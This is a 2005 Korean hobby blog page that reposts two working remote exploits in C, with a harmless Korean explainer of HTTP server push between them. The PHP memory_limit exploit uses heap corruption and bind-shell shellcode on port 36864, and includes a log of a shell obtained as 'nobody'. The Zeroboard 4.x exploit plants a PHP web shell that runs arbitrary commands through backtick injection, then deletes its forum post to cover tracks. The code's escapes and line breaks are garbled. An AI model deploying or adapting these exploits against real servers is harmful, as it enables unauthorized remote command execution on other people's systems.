2005. 11. 15. 11:15
Vulnerable Systems:
 * PHP 4 version 4.3.7 and prior
 * PHP 5 version 5.0RC3 and prior

Exploit:
/* Remote exploit for the php memory_limit vulnerability found by Stefan
 * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3).
 *
 * by Gyan Chawdhary (gunnu45@hotmail.com)
 * (felinemenace.org/~gyan)
 *
 * Greets
 * S.Esser for the vuln and mlxdebug.tgz, everything in the code is based on it.
 * scrippie, gera, riq, jaguar, girish, n2n ...
 *
 * Vulnerability:
 * The issue is well documented in the advisory.
 *
 * Exploitation:
 * I cud not find a generic way to free a 40 byte chunk which could be later
 * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table
 * which will be sent in the first request. The second request will kick in the
 * memory interuption after allocating space for the hashtable and before it is
 * initalized. The memory it will use for this allocation will contain the data
 * from our previous request which includes the pDestructor pointer pointing to
 * our nop+shellcode which is a part of the second request. This happens in the
 * zend_hash_destory function.
 *
 * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick
 * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7,
 * Apache 2.0.49 with register_globals = On
 *
 * Gyan
 *
 *
 */

#include <stdio.h>
#include <string.h>
#include <unistd.h>

#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>

#define IP "127.0.0.1"
#define PORT 80
int sock;
struct sockaddr_in s;

char request1[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter "
"User-Agent: mlxdebug "
"Accept: text/html "
"Connection: close "
"Pragma: no-cache "
"Cache-Control: no-cache "
"Content-Type: multipart/form-data; boundary=------------ BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB ";

char request2[]=
"---------------264122487026375 "
"Content-Length: 472 "
" "
"-----------------------------264122487026375 "
"Content-Disposition: form-data; name="a[][]" "
" "
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES "
" "
"-----------------------------264122487026375-- ";

char request3[]=
"POST /info.php?a[1]=test HTTP/1.0"
"Host: doesnotreallymatter "
"User-Agent: mlxdebug "
"Accept: text/html "
"Connection: close "
"Pragma: no-cache "
"Cache-Control: no-cache "
"Content-Type: multipart/form-data; boundary=-------------";

char request4[]=
"---------------264122487026375 "
"Content-Length: 472 "
" "
"-----------------------------264122487026375 "
"Content-Disposition: form-data; name="a[][]" "
" "
"TESTTESTTESTTESTTESTTESTTESTTESTTESTTES "
"-----------------------------264122487026375-- ";

/*Ripped shellcode. Runs on port 36864*/
char shell[]=
"xebx72x5ex29xc0x89x46x10x40x89xc3x89x46x0c"
"x40x89x46x08x8dx4ex08xb0x66xcdx80x43xc6x46"
"x10x10x66x89x5ex14x88x46x08x29xc0x89xc2x89"
"x46x18xb0x90x66x89x46x16x8dx4ex14x89x4ex0c"
"x8dx4ex08xb0x66xcdx80x89x5ex0cx43x43xb0x66"
"xcdx80x89x56x0cx89x56x10xb0x66x43xcdx80x86"
"xc3xb0x3fx29xc9xcdx80xb0x3fx41xcdx80xb0x3f"
"x41xcdx80x88x56x07x89x76x0cx87xf3x8dx4bx0c"
"xb0x0bxcdx80xe8x89xffxffxff/bin/sh";


void xp_connect(char *ip)
{
        char buffer[1024];
        char temp[1024];
        int tmp;

        s.sin_family = AF_INET;
        s.sin_port = htons(PORT);
        s.sin_addr.s_addr = inet_addr(ip);

        if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
        {
                printf("Cannot create socket ");
                exit(-1);
        }

        if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0)
        {
                printf("Cannot connect() ");
                exit(-1);
        }
}

void xp_write(char *data)
{

        if(write (sock, data, strlen(data)) < 0)
        {
         printf("write() failed ");
         exit(-1);
        }
}

void xp_receive()
{
        int tmp;
        char buffer[1024*2];
 
  if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0)
        {
               printf("read() failed ");
               exit(-1);
        }
}

char fill[] = " %s ";

/*This function builds the main request. In destroy_uploaded_files_hash we
 * need to pass zend_hash_apply to reach zend_hash_destroy.
 * We set
 * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION
 * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply
 * 3) ht->pDestructor = addr to nop+shellcode
 * 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp
 * 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi)
 * 0x402c22c2 <zend_hash_destroy+190>: call *%eax
 * 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp
 *
 * $eax = ht->pDestructor
 */

void build1(int size, int count)
{
         char *p1, *p2;
         char *b1, *b2;
         int i;
  int pot = 0xffffffff;
  int got = 0x41414141;
  int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08;
  int sot = 0x02020202;
  int ret = 0x081887a8;

  b1 = (char *)malloc(size-8);
                p1 = b1;

  for (i=0; i<size-8; i+=36)
  {
  *( (int **)p1 ) = (int *)( pot );
  p1+=4;
  *( (int **)p1 ) = (int *)( got );
  p1+=4;
  *( (int **)p1 ) = (int *)( bot );
  p1+=4;
  *( (int **)p1 ) = (int *)( ret );
                p1+=4;
                *( (int **)p1 ) = (int *)( bot );
                p1+=4;
  *( (int **)p1 ) = (int *)( got );
         p1+=4;
         *( (int **)p1 ) = (int *)( bot );
         p1+=4;
  *( (int **)p1 ) = (int *)( sot );
  p1+=4;
  }

         b2 = (char *)malloc(size+1);
         p2 = b2;

  sprintf(p2, fill, b1);

         for(i=0; i<count; i++)
                xp_write(b2);
}

/*Test function for resetting php memory , does not work properly with
 * php_normalize_heap function */
void build2(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               b1 = (char *)malloc(size-8);
               p1 = b1;
               memset(p1, 'x42', size-8);
               b2 = (char *)malloc(size+1);
               p2 = b2;
               sprintf(p2, fill, b1);
               for(i=0; i<count; i++)
               xp_write(b2);
}

/*TODO*/
char *php_normalize_heap()
{
 return;
}

/*Builds our shellcode with NOP's and the mem interuption request*/

void build3(int size, int count)
{
               char *p1, *p2;
               char *b1, *b2;
               int i;
               int pot = 0x90909090;

        b1 = (char *)malloc(size-8);
               p1 = b1;
  
          for (i=0; i<size-8-strlen(shell); i+=4) {
         *( (int **)p1 ) = (int *)( pot );
                 p1+=4;
                }
   p1 = b1;

  p1+= size - 8 - strlen(shell);
  strncpy(p1, shell, strlen(shell));
              
               b2 = (char *)malloc(size+1);
               p2 = b2;

                sprintf(p2, fill, b1);

                for(i=0; i<count; i++)
                 xp_write(b2);
       }
        


void exploit()
{

 int i;
 
 printf("Stage 1: Filling mem with bad pdestructor ... ");
 for (i=0; i< 5; i++)
 {
        xp_connect(IP);
            xp_write(request1);
             build1(5000, 1);
             xp_write(request2);
      close(sock);
 }
 printf("DONE ");
 printf("Stage 2: Triggering memory_limit now ... ");
  
 xp_connect(IP);
        xp_write(request3);
        build3(8192, 255);
        build3(7265, 1);
        xp_write(request4);
 printf("DONE ");
 printf("Shell on port 36864 ");
 
}

main()
{
 /*No args, no vectors*/
 exploit();
}

/*
 * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and
 *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE
 *
 *
[root@localhost stuff]# ./cool
Stage 1: Filling mem with bad pdestructor ... DONE
Stage 2: Triggering mem_limit now ... DONE
Shell on port 36864
[root@localhost stuff]# telnet 127.0.0.1 36864
Trying 127.0.0.1...
Connected to localhost.localdomain (127.0.0.1).
Escape character is '^]'.
id;
uid=99(nobody) gid=4294967295 groups=4294967295
uname -a;
Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux
*/

'Hobby > Computer' 카테고리의 다른 글

W.S. #01  (4) 2005.11.16
UTF-8  (0) 2005.11.15
Server Push  (0) 2005.11.15
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
Posted by 아즈키
2005. 11. 15. 10:35
1995년 네스케잎사의 몇몇 사람들이 multipart/mixed MIME 형식을 조작해서 웹에서 애니메이션을 표현할 수 있는 방법을 생각해 냈는데, 이 것이 서버푸쉬이다. 이 새로운 MIME 형식은 multipart/x-mixed-replace이다. x는 이것이 공식적인 MIME 명세가 아닌 추가적인 형식이라는 것을 의미한다. 이 MIME의 핵심은 replace 부분이다.

즉, 이것은 많은 형식을 가진 하나의 메시지가 아니라, 모두 같은 형식을 가진 많은 분리된 메시지라는 것을 의미하며, 하나의 메시지는 다음 메시지로 대치(replace)된다는 것을 의미한다.

예를들어 gif 이미지와 같은 것을 이 MIME 형식에 적용하면 하나의 GIF를 표시하고 다음에 다른 GIF가 그것을 대치하고 계속해서 여러 개의 GIF 파일을 이와 같은 방법으로 대치할 수 있으며, 이것으로서 간단한 애니메이션을 웹에 구현할 수 있다.

서버푸쉬는 웹에 간단한 애니메이션을 나타내기위해서 처음으로 사용한 방법이지만 네트웍의 속도와 다른 여러 가지 이유 때문에 부드러운 애니메이션을 구현하기 힘들다.

더욱이 오늘날에는 자바와 GIF89a의 등장으로 애니메이션을 구현하기위한 서버 푸쉬로서의 의미는 잃었지만 클라이언트와의 연결을 유지하면서 서버측의 정보를 전송할 수 있기 때문에 아직도 많은 곳에서 사용된다.

동작원리

multipart/x-mixed-replace MIME 형식은 다음과 같은 형식을 갖지며, CGI가 다음과 같은 형식의 문서를 출력하면 서버 푸쉬를 지원하는 서버는 이 CGI의 출력을 여러개의 문서로 처리해 준다.

1: Content-type: multipart/x-mixed-replace;boundary=TestBoundary
2:
3: --TestBoundary
4: Content-type: text/plain
5:
6: first document
7:
8: --TestBoundary
9: Content-type: text/html
10:
11: <html>
12: <body>
13: second document
14: </body>
15: </html>
16:
17: --TestBoundary--

multipart/x-mixed-replace
"multipart"는 MIME 형식중 복합문서를, "x-mixed-replace"는 복합문서중에서도 서버 밀기에 이용되는 문서형식임을 나타낸다. 앞의 "x-"는 아직 정식으로 표준화되지 않은 형식임을 나타낸다.

boundary
복합문서내의 각 문서들을 구별하는 분리자(delimeter)를 지정한다. 이 분리자는 문서내에 나타나지 않는 문자열을 이용하여야 한다. NCSA HTTPD에서는 boundary앞에 공백이 오면 안된다.

--boundary
분리자 앞에 "--"를 덧붙여서 다음 문서의 시작을 표시한다.

--boundary--
분리자의 앞뒤에 --를 덧붙여서 문서의 끝은 나타낸다.

간단한 예

다음은 1~50까지 숫자를 카운트하는 프로그램이다. CGI의 출력이 시스템 버퍼를 경유하지 않도록 $!=1;을 사용하였다.
또한 정확히 지정한 시간 후에 출력이 되도록 select 함수를 이용해서 delay 함수를 구현하였다.

1 : #! /usr/local/bin/perl
2 : $| = 1;
3 : print "content-type: multipart/x-mixed-replace;boundary=aaa ";
4 : for($i = 1; $i <= 50; $i++)
5 : {
6 : print "--aaa ";
7 : print "content-type: text/html ";
8 : print &html($i);
9 : &delay(1);
10 : }
11 : print "--aaa-- ";
12 :
13 : sub html {
14 : my($i) = @_;
15 : my($html) =<<Push;
16 : <html>
17 : <body>
18 : <head>
19 : <title>Server Push예</title>
20 : </head>
21 : <body>
22 : <span style="font-size: ${i}0px;color: #${i}0${i}0${i}0;
text-align: center"> $i</span>
23 : </body>
24 : </html>
25 : Push
26 : }
27 : sub delay {
28 : select (undef,undef,undef,$_[0]);
29 : return;
30 : }


몇년 전 서비스화 하다가 3번인가 실패한적이 있는 서버 푸쉬.
내 짧은 인생의 몇 안되는 실패작이 서버 푸쉬로 부터 나왔다..
기술 자체는 매우 쉽지만, 클라이언트 끼리 통신 부분이 어려웠었다
나름대로의 내게 교훈을 줬던 기술이였다
아직까지도 내게 남아있는 숙제이기도하다 '-'.. // 언제할려나-_-

'Hobby > Computer' 카테고리의 다른 글

UTF-8  (0) 2005.11.15
PHP memory_limit Exploit Code  (0) 2005.11.15
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit  (2) 2005.11.15
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
Yahoo Webmail Vulnerabilty  (0) 2005.11.15
Posted by 아즈키
2005. 11. 15. 10:09
Zeroboard 4.x "preg_replace" Remote Command Execution Exploit
Date : 31/05/2005




/*
*
----------------------------------------------------------------------------------
[+] Zeroboard preg_replace vulnerability Remote nobody shell exploit
----------------------------------------------------------------------------------

> by n0gada (n0gada@null2root.org)

[*] date : 2005/5/29

[*] the bug

Original advisory:
- http://pandora.sapzil.info/text/notify/20050123.zb41advisory.php

Application
- Zeroboard 4.1 pl2 - 4.1 pl5

Reference:
- http://www.nzeo.com

[*] Target - My test server

$ ./zbexpl http://xxx.xxx.xxx/zboard/zboard.php?id=test
- Target : http://xxx.xxx.xxx/zboard/zboard.php?id=test

[+] xxx.xxx.xxx connecting ok!
[+] Zeroboard writing . ok!
[+] Confirmming your article - found!
[+] Exploiting zeroboard start ............................... Done!
[*] Confirmming your backdoor php script -
http://xxx.xxx.xxx/zboard/data/test/shell.php is generated!
[+] Exploiting success!!
[*] Remove your article - ok! :)

------------------------------------------------------------------------------
*
*/

#include <stdio.h>
#include <stdarg.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <signal.h>
#include <time.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <sys/select.h>
#include <errno.h>


#define BUFSIZE 4096
#define READSIZE 1500

void ParseZbHost(char *);
void ConnectZboard(char *, unsigned short);
void WriteZboard(void);
void ExploitZboard(void);
void ConfirmPHPScript(void);
void DeleteArticle(void);
void StatusProcess(void);
void Usage(char *);
void OutputErr(char *, int);

char *zb_host;
char *zb_dir;
char *zb_tid;
unsigned short zb_port;

int sockfd = -1;
int reconn=0;
char ReadBuf[READSIZE];
char WriteBuf[BUFSIZE];
char TempBuf[BUFSIZ];
char no[16];


int main(int argc, char *argv[]){

if(argc < 2) Usage(argv[0]);

if(argc > 2) zb_port = atoi(argv[2]);
else zb_port = 80;

// http://host/bbs/zboard.php?id=test

ParseZbHost(argv[1]);

ConnectZboard(zb_host, zb_port);

WriteZboard();

ExploitZboard();

ConfirmPHPScript();

DeleteArticle();
}

void ParseZbHost(char *zbhost)
{
char *psbuf;
char *sptr=NULL;
char *eptr=NULL;

psbuf = malloc(strlen(zbhost)+1);

strcpy(psbuf, zbhost);

if((sptr = strstr(psbuf,"http://")) == NULL) OutputErr("http://host need
", 0);

zb_host = sptr+7;

sptr = strchr(zb_host, '/');
sptr[0] = ' ';
sptr++;

if((eptr = strstr(sptr, "zboard.php?id=")) == NULL) OutputErr(""zboard.php?id="
need
", 0);

zb_tid = eptr+14;

eptr--;
eptr[0] = ' ';

zb_dir = sptr;

fprintf(stdout, " - Target : http://%s/%s/zboard.php?id=%s
", zb_host, zb_dir,
zb_tid);
fflush(stdout);
}


void ConnectZboard(char *server, unsigned short port)
{

struct sockaddr_in serv;
struct hostent *hostname;

if(!(hostname = gethostbyname(server))) OutputErr(server, 1);
if((sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)) < 0) OutputErr("socket", 1);

memset(&serv, 0, sizeof(serv));
serv.sin_family = AF_INET;
serv.sin_port = htons(port);
serv.sin_addr.s_addr = *((unsigned long *)hostname->h_addr_list[0]);
// serv.sin_addr = *((struct in_addr *)hostname->h_addr_list[0]);

if(connect(sockfd, (struct sockaddr *)&serv, sizeof(struct sockaddr)) < 0)
OutputErr("connect", 1);

if(!reconn) fprintf(stdout,"
[+] %s connecting ok!
", server);
else if(reconn == 1) fprintf(stdout, " [+] %s reconnecting ok!
", server);
fflush(stdout);

reconn = 0;
}

void WriteZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;
int i = 0;
int cnt=0;
char *tmp_ptr, *ptr;
char form_data[BUFSIZE];

memset(form_data, 0, sizeof(form_data));
sprintf(form_data,
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="page"
"
"
"
"1
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="id"
"
"
"
"%s
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="no"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="select_arrange"
"
"
"
"headnum
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="desc"
"
"
"
"asc
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="page_num"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="keyword"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="category"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="sn"
"
"
"
"off
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="ss"
"
"
"
"on
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="sc"
"
"
"
"on
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="mode"
"
"
"
"write
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="password"
"
"
"
"1212
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="name"
"
"
"
"zero
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="email"
"
"
"
"zero@nzeo.com
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="homepage"
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="subject"
"
"
"
"zero@nzeo.com hi~!
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="memo"
"
"
"
"`mv data/%s/d214924151d9e1ffac5bb2258561031e
data/%s/shell.php`;# 70ab423bfaea846c9db0b96126254103
"
//"-----------------------------8ac34985126d8
"
//"Content-Disposition: form-data; name="sitelink1"
"
//"
"
//"
"
//"-----------------------------8ac34985126d8
"
//"Content-Disposition: form-data; name="sitelink2"
"
//"
"
//"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="file1";
filename="d214924151d9e1ffac5bb2258561031e"
"
"Content-Type: text/plain
"
"
"
"<?
if(count($_GET)) extract($_GET);
if(count($_POST)) extract($_POST);
if(count($_SERVER)) extract($_SERVER);
echo "<form action=$PHP_SELF method=post>
command : <input type=text name=cmd>
<input type=submit></form><hr>";
if($cmd){
$cmd = str_replace("\", "", $cmd);
echo "<pre>"; system($cmd); echo "</pre>";
}
?>
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="file2"; filename=""
"
"Content-Type: application/octet-stream
"
"
"
"
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="x"
"
"
"
"36
"
"-----------------------------8ac34985126d8
"
"Content-Disposition: form-data; name="y"
"
"
"
"11
"
"-----------------------------8ac34985126d8--
"
, zb_tid, zb_tid, zb_tid);



memset(WriteBuf, 0, sizeof(WriteBuf));

sprintf(WriteBuf,
"POST /%s/write_ok.php HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/write.php?id=%s&page=1&sn1=&divpage=1&
sn=off&ss=on&sc=on&select_arrange=headnum&desc=asc&no=&
mode=write&sn1=&divpage=1
"
"Content-Type: multipart/form-data; boundary=---------------------------8ac34985126d8
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Content-Length: %d
"
"Connection: Keep-Alive
"
"Cache-Control: no-cache
"
"
""%s", zb_dir, zb_host, zb_dir, zb_tid, zb_host, strlen(form_data), form_data);

fprintf(stdout, " [+] Zeroboard writing ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

memset(ReadBuf, 0, sizeof(ReadBuf));

if(i!=0xb33f) StatusProcess();

FD_SET(sockfd, &fds);

if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){

if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf+17, "Connection: close
")) reconn = 1;

if(strstr(ReadBuf+9, "200 OK
")) {
err++;
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" failed!(page not found)
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" failed!(Bad Request)
", 0);
}
else {
OutputErr(ReadBuf, 0);
}

}

if(err == 0){

if(strstr(ReadBuf,"<meta http-equiv="refresh" content="0; url=zboard.php?id="))
{
fprintf(stdout, " ok!
");
fflush(stdout);

fprintf(stdout," [+] Confirmming your article");
fflush(stdout);

if(tmp_ptr = strstr(ReadBuf+18, "url=")) {

ptr = tmp_ptr+4;
if(ptr != NULL){
if(tmp_ptr = strchr(ptr,'"')) tmp_ptr[0] = ' ';
}
}
if(ptr = strstr(ReadBuf,"=&no=")){
ptr += 5;
memset(no, 0, sizeof(no));
for(i=0; i<16; i++){
if(ptr[i] == '&') break;
no[i] = ptr[i];
}
}
if(strlen(no) > 0){
fprintf(stdout," - found!
");
fflush(stdout);
return;
}
else {
OutputErr(" - failed!(not writed!?!)
", 0);
}
}
else {
if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf,"x30x0dx0ax0dx0a")) break;
}
}
else {
OutputErr("err number error
", 0);
}
}
}

fprintf(stderr, " error!
");

}

void ExploitZboard(void)
{
fd_set fds;
struct timeval tv;
int err = -1;

if(reconn == 1) ConnectZboard(zb_host, zb_port);

memset(WriteBuf, 0, sizeof(WriteBuf));

sprintf(WriteBuf,
"GET /%s/view.php?id=%s&page=1&sn1=&divpage=1&sn=off&ss=off&
sc=on&keyword=70ab423bfaea846c9db0b96126254103/e"
, zb_dir, zb_tid);

memcpy(WriteBuf+strlen(WriteBuf), "x25x30x30", 3);

sprintf(WriteBuf+strlen(WriteBuf),
"&select_arrange=headnum&desc=asc&no=%s HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash,
application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/zboard.php
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Connection: Keep-Alive
"
"
", no, zb_host, zb_dir, zb_host);

fprintf(stdout, " [+] Exploiting zeroboard start ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

StatusProcess();

memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){

if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){

if(strstr(ReadBuf,"Connection: close
")) reconn = 1;

if(strstr(ReadBuf+9, "200 OK
")) {
err++;
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" failed!(page not found)
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" failed!(Bad Request)
", 0);
}
else {
OutputErr(ReadBuf, 0);
}

}

if(err >= 0){

if(strstr(ReadBuf,"Total Excuted Time :") && strstr(ReadBuf, "x30x0dx0ax0dx0a")){
fprintf(stdout," Done!
");
fflush(stdout);
return;
}

}

}
}

fprintf(stderr," error!
");

}

void ConfirmPHPScript(void)
{
fd_set fds;
struct timeval tv;

if(reconn == 1) ConnectZboard(zb_host, zb_port);

memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"GET /%s/data/%s/shell.php HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/zboard.php
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Connection: Keep-Alive
"
"
", zb_dir, zb_tid, zb_host, zb_dir, zb_host);

fprintf(stdout, " [*] Confirmming your backdoor php script");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;


FD_ZERO(&fds);

for(;;){
memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);
if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);


if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf,"Connection: close
")) reconn = 1;

if(strstr(ReadBuf+9, "200 OK
")) {
fprintf(stdout," - http://%s/%s/data/%s/shell.php is generated!

[+] Exploiting success!!
", zb_host, zb_dir, zb_tid);
fflush(stdout);
return;
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" - page not found
- 'mv' instruction permission denied.

- zeroboard was patched.
"
" [-] Exploit failed!
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" - Bad Request
"
" [-] Exploit failed!
", 0);
}
else {
OutputErr(ReadBuf, 0);
}
}


}
}

fprintf(stderr," error!
");
}


void DeleteArticle(void)
{
fd_set fds;
struct timeval tv;
char post_data[BUFSIZ];


if(reconn == 1) ConnectZboard(zb_host, zb_port);

sprintf(post_data,
"page=1&id=%s&no=%s&select_arrange=headnum&desc=asc&page_num=20&keyword=&
category=&sn=off&ss=off&sc=on&mode=&c_no=&password=1212&x=20&y=9
", zb_tid, no);

memset(WriteBuf, 0, sizeof(WriteBuf));
sprintf(WriteBuf,
"POST /%s/delete_ok.php HTTP/1.1
"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg,
application/x-shockwave-flash, application/vnd.ms-excel,
application/vnd.ms-powerpoint, application/msword, */*
"
"Referer: http://%s/%s/delete.php?id=%s&page=1&sn1=&divpage=1&
sn=off&ss=off&sc=on&select_arrange=headnum&desc=asc&no=%s
"
"Content-Type: application/x-www-form-urlencoded
"
"Accept-Encoding: gzip, deflate
"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
"
"Host: %s
"
"Content-Length: %d
"
"Connection: close
"
"Cache-Control: no-cache
"
"
"
"%s", zb_dir, zb_host, zb_dir, zb_tid, no, zb_host, strlen(post_data), post_data);


fprintf(stdout, " [*] Remove your article ");
fflush(stdout);

if(write(sockfd, WriteBuf, strlen(WriteBuf)) < 0) OutputErr("write", 1);

tv.tv_sec = 60;
tv.tv_usec = 0;

FD_ZERO(&fds);

for(;;){

memset(ReadBuf, 0, sizeof(ReadBuf));

FD_SET(sockfd, &fds);

if(select(sockfd+1, &fds, NULL, NULL, &tv) <= 0) OutputErr("select", 1);
if(FD_ISSET(sockfd, &fds)){
if(read(sockfd, ReadBuf, sizeof(ReadBuf)) <= 0) OutputErr("read", 1);

if(strstr(ReadBuf, "HTTP/1.1 ")){
if(strstr(ReadBuf+9, "200 OK
")) {

if(strstr(ReadBuf+17, "<meta http-equiv="refresh" content="0; url=zboard.php?id=")) {
fprintf(stdout, " - ok! :)
");
fflush(stdout);
return;
}
else{
break;
}
}
else if(strstr(ReadBuf+9, "404 Not Found
")){
OutputErr(" - failed!(page not found)
", 0);
}
else if(strstr(ReadBuf+9, "400 Bad Request
")){
OutputErr(" - failed!(Bad Request)
", 0);
}
else {
fprintf(stderr,"%s", ReadBuf);
exit(1);
}
}

}
}

fprintf(stderr," error!
");
}

void StatusProcess(void)
{
putchar('.');
fflush(stdout);
}


void OutputErr(char *msg, int type)
{
if(!type){
fprintf(stderr,"%s", msg);
fflush(stderr);
}
else if(type==1){
if(!strcmp(msg, zb_host)) herror(msg);
else perror(msg);
}

DeleteArticle();
exit(1);
}

void Usage(char *arg)
{
fprintf(stderr,"[*] Zeroboard preg_replace() vulnerability Remote nobody exploit by n0gada
");
fprintf(stderr,"--------------------------------------------------------------------------
");
fprintf(stderr,"Usage: %s <SERVER> [PORT - default : 80]
", arg);
fprintf(stderr,"--------------------------------------------------------------------------
");

exit(1);
}

'Hobby > Computer' 카테고리의 다른 글

PHP memory_limit Exploit Code  (0) 2005.11.15
Server Push  (0) 2005.11.15
Internet Explorer 'mshtmled.dll' 6.0 Denial Of Service  (0) 2005.11.15
Yahoo Webmail Vulnerabilty  (0) 2005.11.15
사이버독도사건  (1) 2005.10.28
Posted by 아즈키